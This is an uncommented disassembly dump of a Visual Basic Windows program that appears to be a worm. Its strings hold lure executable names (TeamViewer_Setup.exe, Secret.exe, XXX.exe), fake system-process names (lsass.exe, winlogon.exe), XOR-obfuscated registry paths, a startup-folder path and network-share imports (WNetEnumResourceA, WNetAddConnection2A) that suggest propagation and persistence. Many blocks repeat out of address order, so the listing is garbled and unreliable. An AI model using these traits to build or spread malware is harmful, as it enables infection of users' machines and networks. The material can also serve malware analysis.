00407880 wstring "T",0
00407884
00407884 02 00 00 00 ....
00407888
00407888 wstring "t",0
0040788c
0040788c 50 00 00 00 P...
00407890
00407890 wstring "Pack_Longhorn_Inspirat_1.6_code32547.exe",0
004078e2
004078e2 00 00 28 00 00 00 ..(...
004078e8
004078e8 wstring "TeamViewer_Setup.exe",0
00407912
00407912 00 00 16 00 00 00 ......
00407918
00407918 wstring "Licence.exe",0
00407930
00407930 18 00 00 00 ....
00407934
00407934 wstring "Pictures.exe",0
0040794e
0040794e 00 00 ..
00407950 14 00 00 00 ....
00407954
00407954 wstring "Secret.exe",0
0040796a
0040796a 00 00 1a 00 00 00 ......
00407970
00407970 wstring "Documents.exe",0
0040798c
0040798c 12 00 00 00 ....
00407990
00407990 wstring "Vivid.exe",0
004079a4
004079a4 14 00 00 00 ....
004079a8
004079a8 wstring "update.exe",0
004079be
004079be 00 00 ..
004079c0 0e 00 00 00 ....
004079c4
004079c4 wstring "XXX.exe",0
004079d4
004079d4 10 00 00 00 ....
004079d8
004079d8 wstring "cool.exe",0
004079ea
004079ea 00 00 12 00 00 00 ......
004079f0
004079f0 wstring "vitae.exe",0
00407a04
00407a04 12 00 00 00 ....
00407a08
00407a08 wstring "error.exe",0
00407a1c
00407a1c 06 00 00 00 ....
00407a20
00407a20 wstring "c:\\",0
00407a28
00407a28 0c 00 20 00 00 00 00 00 .. .....
00407a30 20 00 04 04 ...
00407a34
00407a34 struct VBDeclareNameLength
00407a34 cbName int 8
00407a38
00407a38 string "mpr.dll",0
00407a40
00407a40 02 00 00 00 ....
00407a44
00407a44 wstring "U",0
00407a48
00407a48 00 00 00 00 38 00 90 01 ....8...
00407a50 00 00 01 00 90 01 04 2c 00 00 85 00 00 10 7f 01 .......,........
00407a60 01 00 00 00 01 00 00 00 01 00 96 01 04 00 00 00 ................
00407a70 00 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 ........d.......
00407a80 08 00 00 00 0c 00 01 10 00 00 00 00 01 10 01 04 ................
00407a90 18 00 80 00 00 00 03 00 80 00 04 2c 00 00 01 00 ...........,....
00407aa0 04 00 01 00 08 00 01 00 ........
00407aa8
00407aa8 struct VBDeclareNameLength
00407aa8 cbName int 14
00407aac
00407aac string "moonlight.dll",0
00407aba
00407aba 00 00 ..
00407abc
00407abc struct VBDeclareNameLength
00407abc cbName int 7
00407ac0
00407ac0 string "ZpInit",0
00407ac7
00407ac7 00 .
00407ac8
00407ac8 struct DeclareInfo
00407ac8 lpszLibraryName uint32 0x407aac
00407acc lpszFunctionName uint32 0x407ac0
00407ad0 dwFlags uint32 0x00040000
00407ad4 lpCache uint32 0x41bec0
00407ad8 dwReserved uint32 0x00000000
00407adc
00407adc 00 00 00 00 ....
00407ae0
00407ae0fn_407ae0:
00407ae0mov eax, [0x41bec8]
00407ae5or eax, eax
00407ae7je 0x407aeb
00407ae9jmp eax
00407aeb
00407aebloc_407aeb:
00407aebpush 0x407ac8
00407af0mov eax, 0x4010e0
00407af5call eax
00407af7jmp eax
00407ae0
00407ae0fn_407ae0:
00407ae0mov eax, [0x41bec8]
00407ae5or eax, eax
00407ae7je 0x407aeb
00407ae9jmp eax
00407aeb
00407aebloc_407aeb:
00407aebpush 0x407ac8
00407af0mov eax, 0x4010e0
00407af5call eax
00407af7jmp eax
00407ae0
00407af9
00407af9 00 00 00 ...
00407afc
00407afc struct VBDeclareNameLength
00407afc cbName int 13
00407b00
00407b00 string "ZpSetOptions",0
00407b0d
00407b0d 00 00 00 ...
00407b10
00407b10 struct DeclareInfo
00407b10 lpszLibraryName uint32 0x407aac
00407b14 lpszFunctionName uint32 0x407b00
00407b18 dwFlags uint32 0x00040000
00407b1c lpCache uint32 0x41becc
00407b20 dwReserved uint32 0x00000000
00407b24
00407b24 00 00 00 00 ....
00407af9 00 00 00 ...
00407afc
00407afc struct VBDeclareNameLength
00407afc cbName int 13
00407b00
00407b00 string "ZpSetOptions",0
00407b0d
00407b0d 00 00 00 ...
00407b10
00407b10 struct DeclareInfo
00407b10 lpszLibraryName uint32 0x407aac
00407b14 lpszFunctionName uint32 0x407b00
00407b18 dwFlags uint32 0x00040000
00407b1c lpCache uint32 0x41becc
00407b20 dwReserved uint32 0x00000000
00407b24
00407b24 00 00 00 00 ....
00407b28
00407b28fn_407b28:
00407b28mov eax, [0x41bed4]
00407b2dor eax, eax
00407b2fje 0x407b33
00407b31jmp eax
00407b33
00407b33loc_407b33:
00407b33push 0x407b10
00407b38mov eax, 0x4010e0
00407b3dcall eax
00407b3fjmp eax
00407b28
00407b28fn_407b28:
00407b28mov eax, [0x41bed4]
00407b2dor eax, eax
00407b2fje 0x407b33
00407b31jmp eax
00407b33
00407b33loc_407b33:
00407b33push 0x407b10
00407b38mov eax, 0x4010e0
00407b3dcall eax
00407b3fjmp eax
00407b28
00407b41
00407b41 00 00 00 ...
00407b44
00407b44 struct VBDeclareNameLength
00407b44 cbName int 13
00407b48
00407b48 string "ZpGetOptions",0
00407b55
00407b55 00 00 00 ...
00407b58
00407b58 struct DeclareInfo
00407b58 lpszLibraryName uint32 0x407aac
00407b5c lpszFunctionName uint32 0x407b48
00407b60 dwFlags uint32 0x00040000
00407b64 lpCache uint32 0x41bed8
00407b68 dwReserved uint32 0x00000000
00407b6c
00407b6c 00 00 00 00 ....
00407b41 00 00 00 ...
00407b44
00407b44 struct VBDeclareNameLength
00407b44 cbName int 13
00407b48
00407b48 string "ZpGetOptions",0
00407b55
00407b55 00 00 00 ...
00407b58
00407b58 struct DeclareInfo
00407b58 lpszLibraryName uint32 0x407aac
00407b5c lpszFunctionName uint32 0x407b48
00407b60 dwFlags uint32 0x00040000
00407b64 lpCache uint32 0x41bed8
00407b68 dwReserved uint32 0x00000000
00407b6c
00407b6c 00 00 00 00 ....
00407b70
00407b70fn_407b70:
00407b70mov eax, [0x41bee0]
00407b75or eax, eax
00407b77je 0x407b7b
00407b79jmp eax
00407b7b
00407b7bloc_407b7b:
00407b7bpush 0x407b58
00407b80mov eax, 0x4010e0
00407b85call eax
00407b87jmp eax
00407b70
00407b70fn_407b70:
00407b70mov eax, [0x41bee0]
00407b75or eax, eax
00407b77je 0x407b7b
00407b79jmp eax
00407b7b
00407b7bloc_407b7b:
00407b7bpush 0x407b58
00407b80mov eax, 0x4010e0
00407b85call eax
00407b87jmp eax
00407b70
00407b89
00407b89 00 00 00 ...
00407b8c
00407b8c struct VBDeclareNameLength
00407b8c cbName int 10
00407b90
00407b90 string "ZpArchive",0
00407b9a
00407b9a 00 00 ..
00407b9c
00407b9c struct DeclareInfo
00407b9c lpszLibraryName uint32 0x407aac
00407ba0 lpszFunctionName uint32 0x407b90
00407ba4 dwFlags uint32 0x00040000
00407ba8 lpCache uint32 0x41bee4
00407bac dwReserved uint32 0x00000000
00407bb0
00407bb0 00 00 00 00 ....
00407b89 00 00 00 ...
00407b8c
00407b8c struct VBDeclareNameLength
00407b8c cbName int 10
00407b90
00407b90 string "ZpArchive",0
00407b9a
00407b9a 00 00 ..
00407b9c
00407b9c struct DeclareInfo
00407b9c lpszLibraryName uint32 0x407aac
00407ba0 lpszFunctionName uint32 0x407b90
00407ba4 dwFlags uint32 0x00040000
00407ba8 lpCache uint32 0x41bee4
00407bac dwReserved uint32 0x00000000
00407bb0
00407bb0 00 00 00 00 ....
00407bb4
00407bb4fn_407bb4:
00407bb4mov eax, [0x41beec]
00407bb9or eax, eax
00407bbbje 0x407bbf
00407bbdjmp eax
00407bbf
00407bbfloc_407bbf:
00407bbfpush 0x407b9c
00407bc4mov eax, 0x4010e0
00407bc9call eax
00407bcbjmp eax
00407bb4
00407bb4fn_407bb4:
00407bb4mov eax, [0x41beec]
00407bb9or eax, eax
00407bbbje 0x407bbf
00407bbdjmp eax
00407bbf
00407bbfloc_407bbf:
00407bbfpush 0x407b9c
00407bc4mov eax, 0x4010e0
00407bc9call eax
00407bcbjmp eax
00407bb4
00407bcd
00407bcd 00 00 00 ...
00407bd0 29 4f ad 33 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 )O.3.f.......`..
00407be0 0a 00 00 00 ....
00407be4
00407be4 wstring "lsass",0
00407bf0
00407bf0 1c 00 20 00 00 00 04 00 20 00 04 2c 10 00 01 00 .. ..... ..,....
00407c00 14 00 01 00 18 00 01 00 1c 00 01 00 00 00 00 00 ................
00407c10 88 00 74 02 00 00 08 00 00 00 00 10 00 00 69 20 ..t...........i
00407c20 00 00 ff ff 90 7a 40 00 ff ff ff ff ff ff ff ff .....z@.........
00407c30 00 00 00 00 50 02 00 00 80 00 09 20 00 00 ff ff ....P...... ....
00407c40 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
00407c50 00 00 00 00 90 00 01 20 00 00 ff ff 94 00 01 20 ....... .......
00407c60 30 49 ff ff 98 00 01 20 98 5b ff ff d8 00 01 20 0I..... .[.....
00407c70 40 77 ff ff dc 00 69 20 78 8b ff ff 4c 7a 40 00 @w....i x...Lz@.
00407c80 90 a0 1d 00 00 00 00 00 00 05 1b 00 f0 d5 1b 00 ................
00407c90 6c 02 01 20 e0 20 ff ff l.. . ..
00407c98
00407c98 struct VBDeclareNameLength
00407c98 cbName int 8
00407c9c
00407c9c string "shell32",0
00407ca4
00407ca4 struct VBDeclareNameLength
00407ca4 cbName int 27
00407ca8
00407ca8 string "SHGetSpecialFolderLocation",0
00407cc3
00407cc3 00 .
00407cc4
00407cc4 struct DeclareInfo
00407cc4 lpszLibraryName uint32 0x407c9c
00407cc8 lpszFunctionName uint32 0x407ca8
00407ccc dwFlags uint32 0x00040000
00407cd0 lpCache uint32 0x41bef0
00407cd4 dwReserved uint32 0x00000000
00407cd8
00407cd8 00 00 00 00 ....
00407bcd 00 00 00 ...
00407bd0 29 4f ad 33 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 )O.3.f.......`..
00407be0 0a 00 00 00 ....
00407be4
00407be4 wstring "lsass",0
00407bf0
00407bf0 1c 00 20 00 00 00 04 00 20 00 04 2c 10 00 01 00 .. ..... ..,....
00407c00 14 00 01 00 18 00 01 00 1c 00 01 00 00 00 00 00 ................
00407c10 88 00 74 02 00 00 08 00 00 00 00 10 00 00 69 20 ..t...........i
00407c20 00 00 ff ff 90 7a 40 00 ff ff ff ff ff ff ff ff .....z@.........
00407c30 00 00 00 00 50 02 00 00 80 00 09 20 00 00 ff ff ....P...... ....
00407c40 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
00407c50 00 00 00 00 90 00 01 20 00 00 ff ff 94 00 01 20 ....... .......
00407c60 30 49 ff ff 98 00 01 20 98 5b ff ff d8 00 01 20 0I..... .[.....
00407c70 40 77 ff ff dc 00 69 20 78 8b ff ff 4c 7a 40 00 @w....i x...Lz@.
00407c80 90 a0 1d 00 00 00 00 00 00 05 1b 00 f0 d5 1b 00 ................
00407c90 6c 02 01 20 e0 20 ff ff l.. . ..
00407c98
00407c98 struct VBDeclareNameLength
00407c98 cbName int 8
00407c9c
00407c9c string "shell32",0
00407ca4
00407ca4 struct VBDeclareNameLength
00407ca4 cbName int 27
00407ca8
00407ca8 string "SHGetSpecialFolderLocation",0
00407cc3
00407cc3 00 .
00407cc4
00407cc4 struct DeclareInfo
00407cc4 lpszLibraryName uint32 0x407c9c
00407cc8 lpszFunctionName uint32 0x407ca8
00407ccc dwFlags uint32 0x00040000
00407cd0 lpCache uint32 0x41bef0
00407cd4 dwReserved uint32 0x00000000
00407cd8
00407cd8 00 00 00 00 ....
00407cdc
00407cdcfn_407cdc:
00407cdcmov eax, [0x41bef8]
00407ce1or eax, eax
00407ce3je 0x407ce7
00407ce5jmp eax
00407ce7
00407ce7loc_407ce7:
00407ce7push 0x407cc4
00407cecmov eax, 0x4010e0
00407cf1call eax
00407cf3jmp eax
00407cdc
00407cdcfn_407cdc:
00407cdcmov eax, [0x41bef8]
00407ce1or eax, eax
00407ce3je 0x407ce7
00407ce5jmp eax
00407ce7
00407ce7loc_407ce7:
00407ce7push 0x407cc4
00407cecmov eax, 0x4010e0
00407cf1call eax
00407cf3jmp eax
00407cdc
00407cf5
00407cf5 00 00 00 ...
00407cf8
00407cf8 struct VBDeclareNameLength
00407cf8 cbName int 21
00407cfc
00407cfc string "SHGetPathFromIDListA",0
00407d11
00407d11 00 00 00 ...
00407d14
00407d14 struct DeclareInfo
00407d14 lpszLibraryName uint32 0x407c9c
00407d18 lpszFunctionName uint32 0x407cfc
00407d1c dwFlags uint32 0x00040000
00407d20 lpCache uint32 0x41befc
00407d24 dwReserved uint32 0x00000000
00407d28
00407d28 00 00 00 00 ....
00407cf5 00 00 00 ...
00407cf8
00407cf8 struct VBDeclareNameLength
00407cf8 cbName int 21
00407cfc
00407cfc string "SHGetPathFromIDListA",0
00407d11
00407d11 00 00 00 ...
00407d14
00407d14 struct DeclareInfo
00407d14 lpszLibraryName uint32 0x407c9c
00407d18 lpszFunctionName uint32 0x407cfc
00407d1c dwFlags uint32 0x00040000
00407d20 lpCache uint32 0x41befc
00407d24 dwReserved uint32 0x00000000
00407d28
00407d28 00 00 00 00 ....
00407d2c
00407d2cfn_407d2c:
00407d2cmov eax, [0x41bf04]
00407d31or eax, eax
00407d33je 0x407d37
00407d35jmp eax
00407d37
00407d37loc_407d37:
00407d37push 0x407d14
00407d3cmov eax, 0x4010e0
00407d41call eax
00407d43jmp eax
00407d2c
00407d2cfn_407d2c:
00407d2cmov eax, [0x41bf04]
00407d31or eax, eax
00407d33je 0x407d37
00407d35jmp eax
00407d37
00407d37loc_407d37:
00407d37push 0x407d14
00407d3cmov eax, 0x4010e0
00407d41call eax
00407d43jmp eax
00407d2c
00407d45
00407d45 00 00 00 0e 00 00 00 .......
00407d4c
00407d4c wstring "explore",0
00407d5c
00407d5c 0e 00 00 00 ....
00407d60
00407d60 wstring "regedit",0
00407d70
00407d70 16 00 00 00 ....
00407d74
00407d74 wstring "\\cypreg.dll",0
00407d8c
00407d8c 16 00 00 00 ....
00407d90
00407d90 wstring "service.exe",0
00407da8
00407da8 10 00 00 00 ....
00407dac
00407dac wstring "smss.exe",0
00407dbe
00407dbe 00 00 ..
00407dc0 0c 00 00 00 ....
00407dc4
00407dc4 wstring "system",0
00407dd2
00407dd2 00 00 02 00 00 00 ......
00407dd8
00407dd8 wstring "u",0
00407ddc
00407ddc struct DeclareInfo
00407ddc lpszLibraryName uint32 0x407a38
00407de0 lpszFunctionName uint32 0x40786c
00407de4 dwFlags uint32 0x00040000
00407de8 lpCache uint32 0x41bf08
00407dec dwReserved uint32 0x00000000
00407df0
00407df0 00 00 00 00 ....
00407d45 00 00 00 0e 00 00 00 .......
00407d4c
00407d4c wstring "explore",0
00407d5c
00407d5c 0e 00 00 00 ....
00407d60
00407d60 wstring "regedit",0
00407d70
00407d70 16 00 00 00 ....
00407d74
00407d74 wstring "\\cypreg.dll",0
00407d8c
00407d8c 16 00 00 00 ....
00407d90
00407d90 wstring "service.exe",0
00407da8
00407da8 10 00 00 00 ....
00407dac
00407dac wstring "smss.exe",0
00407dbe
00407dbe 00 00 ..
00407dc0 0c 00 00 00 ....
00407dc4
00407dc4 wstring "system",0
00407dd2
00407dd2 00 00 02 00 00 00 ......
00407dd8
00407dd8 wstring "u",0
00407ddc
00407ddc struct DeclareInfo
00407ddc lpszLibraryName uint32 0x407a38
00407de0 lpszFunctionName uint32 0x40786c
00407de4 dwFlags uint32 0x00040000
00407de8 lpCache uint32 0x41bf08
00407dec dwReserved uint32 0x00000000
00407df0
00407df0 00 00 00 00 ....
00407df4
00407df4fn_407df4:
00407df4mov eax, [0x41bf10]
00407df9or eax, eax
00407dfbje 0x407dff
00407dfdjmp eax
00407dff
00407dffloc_407dff:
00407dffpush 0x407ddc
00407e04mov eax, 0x4010e0
00407e09call eax
00407e0bjmp eax
00407df4
00407df4fn_407df4:
00407df4mov eax, [0x41bf10]
00407df9or eax, eax
00407dfbje 0x407dff
00407dfdjmp eax
00407dff
00407dffloc_407dff:
00407dffpush 0x407ddc
00407e04mov eax, 0x4010e0
00407e09call eax
00407e0bjmp eax
00407df4
00407e0d
00407e0d 00 00 00 ...
00407e10
00407e10 struct VBDeclareNameLength
00407e10 cbName int 18
00407e14
00407e14 string "WNetEnumResourceA",0
00407e26
00407e26 00 00 ..
00407e28
00407e28 struct DeclareInfo
00407e28 lpszLibraryName uint32 0x407a38
00407e2c lpszFunctionName uint32 0x407e14
00407e30 dwFlags uint32 0x00040000
00407e34 lpCache uint32 0x41bf14
00407e38 dwReserved uint32 0x00000000
00407e3c
00407e3c 00 00 00 00 ....
00407e0d 00 00 00 ...
00407e10
00407e10 struct VBDeclareNameLength
00407e10 cbName int 18
00407e14
00407e14 string "WNetEnumResourceA",0
00407e26
00407e26 00 00 ..
00407e28
00407e28 struct DeclareInfo
00407e28 lpszLibraryName uint32 0x407a38
00407e2c lpszFunctionName uint32 0x407e14
00407e30 dwFlags uint32 0x00040000
00407e34 lpCache uint32 0x41bf14
00407e38 dwReserved uint32 0x00000000
00407e3c
00407e3c 00 00 00 00 ....
00407e40
00407e40fn_407e40:
00407e40mov eax, [0x41bf1c]
00407e45or eax, eax
00407e47je 0x407e4b
00407e49jmp eax
00407e4b
00407e4bloc_407e4b:
00407e4bpush 0x407e28
00407e50mov eax, 0x4010e0
00407e55call eax
00407e57jmp eax
00407e40
00407e40fn_407e40:
00407e40mov eax, [0x41bf1c]
00407e45or eax, eax
00407e47je 0x407e4b
00407e49jmp eax
00407e4b
00407e4bloc_407e4b:
00407e4bpush 0x407e28
00407e50mov eax, 0x4010e0
00407e55call eax
00407e57jmp eax
00407e40
00407e59
00407e59 00 00 00 ...
00407e5c
00407e5c struct VBDeclareNameLength
00407e5c cbName int 14
00407e60
00407e60 string "WNetCloseEnum",0
00407e6e
00407e6e 00 00 ..
00407e70
00407e70 struct DeclareInfo
00407e70 lpszLibraryName uint32 0x407a38
00407e74 lpszFunctionName uint32 0x407e60
00407e78 dwFlags uint32 0x00040000
00407e7c lpCache uint32 0x41bf20
00407e80 dwReserved uint32 0x00000000
00407e84
00407e84 00 00 00 00 ....
00407e59 00 00 00 ...
00407e5c
00407e5c struct VBDeclareNameLength
00407e5c cbName int 14
00407e60
00407e60 string "WNetCloseEnum",0
00407e6e
00407e6e 00 00 ..
00407e70
00407e70 struct DeclareInfo
00407e70 lpszLibraryName uint32 0x407a38
00407e74 lpszFunctionName uint32 0x407e60
00407e78 dwFlags uint32 0x00040000
00407e7c lpCache uint32 0x41bf20
00407e80 dwReserved uint32 0x00000000
00407e84
00407e84 00 00 00 00 ....
00407e88
00407e88fn_407e88:
00407e88mov eax, [0x41bf28]
00407e8dor eax, eax
00407e8fje 0x407e93
00407e91jmp eax
00407e93
00407e93loc_407e93:
00407e93push 0x407e70
00407e98mov eax, 0x4010e0
00407e9dcall eax
00407e9fjmp eax
00407e88
00407e88fn_407e88:
00407e88mov eax, [0x41bf28]
00407e8dor eax, eax
00407e8fje 0x407e93
00407e91jmp eax
00407e93
00407e93loc_407e93:
00407e93push 0x407e70
00407e98mov eax, 0x4010e0
00407e9dcall eax
00407e9fjmp eax
00407e88
00407ea1
00407ea1 00 00 00 ...
00407ea4
00407ea4 struct VBDeclareNameLength
00407ea4 cbName int 9
00407ea8
00407ea8 string "lstrlenA",0
00407eb1
00407eb1 00 00 00 ...
00407eb4
00407eb4 struct DeclareInfo
00407eb4 lpszLibraryName uint32 0x405f48
00407eb8 lpszFunctionName uint32 0x407ea8
00407ebc dwFlags uint32 0x00040000
00407ec0 lpCache uint32 0x41bf2c
00407ec4 dwReserved uint32 0x00000000
00407ec8
00407ec8 00 00 00 00 ....
00407ea1 00 00 00 ...
00407ea4
00407ea4 struct VBDeclareNameLength
00407ea4 cbName int 9
00407ea8
00407ea8 string "lstrlenA",0
00407eb1
00407eb1 00 00 00 ...
00407eb4
00407eb4 struct DeclareInfo
00407eb4 lpszLibraryName uint32 0x405f48
00407eb8 lpszFunctionName uint32 0x407ea8
00407ebc dwFlags uint32 0x00040000
00407ec0 lpCache uint32 0x41bf2c
00407ec4 dwReserved uint32 0x00000000
00407ec8
00407ec8 00 00 00 00 ....
00407ecc
00407eccfn_407ecc:
00407eccmov eax, [0x41bf34]
00407ed1or eax, eax
00407ed3je 0x407ed7
00407ed5jmp eax
00407ed7
00407ed7loc_407ed7:
00407ed7push 0x407eb4
00407edcmov eax, 0x4010e0
00407ee1call eax
00407ee3jmp eax
00407ecc
00407eccfn_407ecc:
00407eccmov eax, [0x41bf34]
00407ed1or eax, eax
00407ed3je 0x407ed7
00407ed5jmp eax
00407ed7
00407ed7loc_407ed7:
00407ed7push 0x407eb4
00407edcmov eax, 0x4010e0
00407ee1call eax
00407ee3jmp eax
00407ecc
00407ee5
00407ee5 00 00 00 ...
00407ee8
00407ee8 struct VBDeclareNameLength
00407ee8 cbName int 9
00407eec
00407eec string "lstrcpyA",0
00407ef5
00407ef5 00 00 00 ...
00407ef8
00407ef8 struct DeclareInfo
00407ef8 lpszLibraryName uint32 0x405f48
00407efc lpszFunctionName uint32 0x407eec
00407f00 dwFlags uint32 0x00040000
00407f04 lpCache uint32 0x41bf38
00407f08 dwReserved uint32 0x00000000
00407f0c
00407f0c 00 00 00 00 ....
00407ee5 00 00 00 ...
00407ee8
00407ee8 struct VBDeclareNameLength
00407ee8 cbName int 9
00407eec
00407eec string "lstrcpyA",0
00407ef5
00407ef5 00 00 00 ...
00407ef8
00407ef8 struct DeclareInfo
00407ef8 lpszLibraryName uint32 0x405f48
00407efc lpszFunctionName uint32 0x407eec
00407f00 dwFlags uint32 0x00040000
00407f04 lpCache uint32 0x41bf38
00407f08 dwReserved uint32 0x00000000
00407f0c
00407f0c 00 00 00 00 ....
00407f10
00407f10fn_407f10:
00407f10mov eax, [0x41bf40]
00407f15or eax, eax
00407f17je 0x407f1b
00407f19jmp eax
00407f1b
00407f1bloc_407f1b:
00407f1bpush 0x407ef8
00407f20mov eax, 0x4010e0
00407f25call eax
00407f27jmp eax
00407f10
00407f10fn_407f10:
00407f10mov eax, [0x41bf40]
00407f15or eax, eax
00407f17je 0x407f1b
00407f19jmp eax
00407f1b
00407f1bloc_407f1b:
00407f1bpush 0x407ef8
00407f20mov eax, 0x4010e0
00407f25call eax
00407f27jmp eax
00407f10
00407f29
00407f29 00 00 00 ...
00407f2c
00407f2c struct VBDeclareNameLength
00407f2c cbName int 20
00407f30
00407f30 string "WNetAddConnection2A",0
00407f44
00407f44 struct DeclareInfo
00407f44 lpszLibraryName uint32 0x407a38
00407f48 lpszFunctionName uint32 0x407f30
00407f4c dwFlags uint32 0x00040000
00407f50 lpCache uint32 0x41bf44
00407f54 dwReserved uint32 0x00000000
00407f58
00407f58 00 00 00 00 ....
00407f29 00 00 00 ...
00407f2c
00407f2c struct VBDeclareNameLength
00407f2c cbName int 20
00407f30
00407f30 string "WNetAddConnection2A",0
00407f44
00407f44 struct DeclareInfo
00407f44 lpszLibraryName uint32 0x407a38
00407f48 lpszFunctionName uint32 0x407f30
00407f4c dwFlags uint32 0x00040000
00407f50 lpCache uint32 0x41bf44
00407f54 dwReserved uint32 0x00000000
00407f58
00407f58 00 00 00 00 ....
00407f5c
00407f5cfn_407f5c:
00407f5cmov eax, [0x41bf4c]
00407f61or eax, eax
00407f63je 0x407f67
00407f65jmp eax
00407f67
00407f67loc_407f67:
00407f67push 0x407f44
00407f6cmov eax, 0x4010e0
00407f71call eax
00407f73jmp eax
00407f5c
00407f5cfn_407f5c:
00407f5cmov eax, [0x41bf4c]
00407f61or eax, eax
00407f63je 0x407f67
00407f65jmp eax
00407f67
00407f67loc_407f67:
00407f67push 0x407f44
00407f6cmov eax, 0x4010e0
00407f71call eax
00407f73jmp eax
00407f5c
00407f75
00407f75 00 00 00 08 00 00 00 .......
00407f7c
00407f7c wstring "smss",0
00407f86
00407f86 00 00 06 00 00 00 ......
00407f8c
00407f8c wstring "Ver",0
00407f94
00407f94 06 00 00 00 ....
00407f98
00407f98 wstring "Len",0
00407fa0
00407fa0 00 00 00 00 18 00 00 00 ........
00407fa8
00407fa8 wstring "Uzpz}lh{'mee",0
00407fc2
00407fc2 00 00 10 00 00 00 ......
00407fc8
00407fc8 wstring "\\startup",0
00407fda
00407fda 00 00 3e 00 00 00 ..>...
00407fe0
00407fe0 wstring "Efjhe)Zl}}`gnzUHyye`jh}`fg)Mh}h",0
00408020
00408020 3c 00 00 00 <...
00408024
00408024 wstring "Zfo}~h{lUD`j{fzfo}Uylh{eUk`hgn",0
00408062
00408062 00 00 3a 00 00 00 ..:...
00408068
00408068 wstring "Zfo}~h{lUD`j{fzfo}UYlh{eUYh}a",0
004080a4
004080a4 18 00 00 00 ....
004080a8
004080a8 wstring "Uzl{\x7f`jl'lql",0
004080c2
004080c2 00 00 12 00 00 00 ......
004080c8
004080c8 wstring "Uzdzz'lql",0
004080dc
004080dc 08 00 00 00 ....
004080e0
004080e0 wstring ".scr",0
004080ea
004080ea 00 00 08 00 00 00 ......
004080f0
004080f0 wstring ".com",0
004080fa
004080fa 00 00 08 00 00 00 ......
00408100
00408100 wstring ".cmd",0
0040810a
0040810a 00 00 12 00 00 00 ......
00408110
00408110 wstring "lsass.exe",0
00408124
00408124 struct VBDeclareNameLength
00408124 cbName int 14
00408128
00408128 string "RegDeleteKeyA",0
00408136
00408136 00 00 00 00 00 00 14 00 00 00 ..........
00408140
00408140 wstring "system.exe",0
00408156
00408156 00 00 18 00 00 00 ......
0040815c
0040815c wstring "\\regedit.exe",0
00408176
00408176 00 00 1a 00 00 00 ......
0040817c
0040817c wstring "\\winlogon.exe",0
00408198
00408198 16 00 00 00 ....
0040819c
0040819c wstring "\\system.exe",0
004081b4
004081b4 14 00 00 00 ....
004081b8
004081b8 wstring "\\lsass.exe",0
004081ce
004081ce 00 00 ..
004081d0 18 00 00 00 ....
004081d4
004081d4 wstring "U{lnlm`}'jdm",0
004081ee
004081ee 00 00 ..
004081f0 52 00 00 00 R...
004081f4
004081f4 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fg",0
00408248
00408248 struct VBDeclareNameLength
00408248 cbName int 12
0040824c
0040824c string "RegCloseKey",0
00408258
00408258 struct DeclareInfo
00408258 lpszLibraryName uint32 0x406b44
0040825c lpszFunctionName uint32 0x40824c
00408260 dwFlags uint32 0x00040000
00408264 lpCache uint32 0x41bf50
00408268 dwReserved uint32 0x00000000
0040826c
0040826c 00 00 00 00 ....
00407f75 00 00 00 08 00 00 00 .......
00407f7c
00407f7c wstring "smss",0
00407f86
00407f86 00 00 06 00 00 00 ......
00407f8c
00407f8c wstring "Ver",0
00407f94
00407f94 06 00 00 00 ....
00407f98
00407f98 wstring "Len",0
00407fa0
00407fa0 00 00 00 00 18 00 00 00 ........
00407fa8
00407fa8 wstring "Uzpz}lh{'mee",0
00407fc2
00407fc2 00 00 10 00 00 00 ......
00407fc8
00407fc8 wstring "\\startup",0
00407fda
00407fda 00 00 3e 00 00 00 ..>...
00407fe0
00407fe0 wstring "Efjhe)Zl}}`gnzUHyye`jh}`fg)Mh}h",0
00408020
00408020 3c 00 00 00 <...
00408024
00408024 wstring "Zfo}~h{lUD`j{fzfo}Uylh{eUk`hgn",0
00408062
00408062 00 00 3a 00 00 00 ..:...
00408068
00408068 wstring "Zfo}~h{lUD`j{fzfo}UYlh{eUYh}a",0
004080a4
004080a4 18 00 00 00 ....
004080a8
004080a8 wstring "Uzl{\x7f`jl'lql",0
004080c2
004080c2 00 00 12 00 00 00 ......
004080c8
004080c8 wstring "Uzdzz'lql",0
004080dc
004080dc 08 00 00 00 ....
004080e0
004080e0 wstring ".scr",0
004080ea
004080ea 00 00 08 00 00 00 ......
004080f0
004080f0 wstring ".com",0
004080fa
004080fa 00 00 08 00 00 00 ......
00408100
00408100 wstring ".cmd",0
0040810a
0040810a 00 00 12 00 00 00 ......
00408110
00408110 wstring "lsass.exe",0
00408124
00408124 struct VBDeclareNameLength
00408124 cbName int 14
00408128
00408128 string "RegDeleteKeyA",0
00408136
00408136 00 00 00 00 00 00 14 00 00 00 ..........
00408140
00408140 wstring "system.exe",0
00408156
00408156 00 00 18 00 00 00 ......
0040815c
0040815c wstring "\\regedit.exe",0
00408176
00408176 00 00 1a 00 00 00 ......
0040817c
0040817c wstring "\\winlogon.exe",0
00408198
00408198 16 00 00 00 ....
0040819c
0040819c wstring "\\system.exe",0
004081b4
004081b4 14 00 00 00 ....
004081b8
004081b8 wstring "\\lsass.exe",0
004081ce
004081ce 00 00 ..
004081d0 18 00 00 00 ....
004081d4
004081d4 wstring "U{lnlm`}'jdm",0
004081ee
004081ee 00 00 ..
004081f0 52 00 00 00 R...
004081f4
004081f4 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fg",0
00408248
00408248 struct VBDeclareNameLength
00408248 cbName int 12
0040824c
0040824c string "RegCloseKey",0
00408258
00408258 struct DeclareInfo
00408258 lpszLibraryName uint32 0x406b44
0040825c lpszFunctionName uint32 0x40824c
00408260 dwFlags uint32 0x00040000
00408264 lpCache uint32 0x41bf50
00408268 dwReserved uint32 0x00000000
0040826c
0040826c 00 00 00 00 ....
00408270
00408270fn_408270:
00408270mov eax, [0x41bf58]
00408275or eax, eax
00408277je 0x40827b
00408279jmp eax
0040827b
0040827bloc_40827b:
0040827bpush 0x408258
00408280mov eax, 0x4010e0
00408285call eax
00408287jmp eax
00408270
00408270fn_408270:
00408270mov eax, [0x41bf58]
00408275or eax, eax
00408277je 0x40827b
00408279jmp eax
0040827b
0040827bloc_40827b:
0040827bpush 0x408258
00408280mov eax, 0x4010e0
00408285call eax
00408287jmp eax
00408270
00408289
00408289 00 00 00 ...
0040828c
0040828c struct VBDeclareNameLength
0040828c cbName int 14
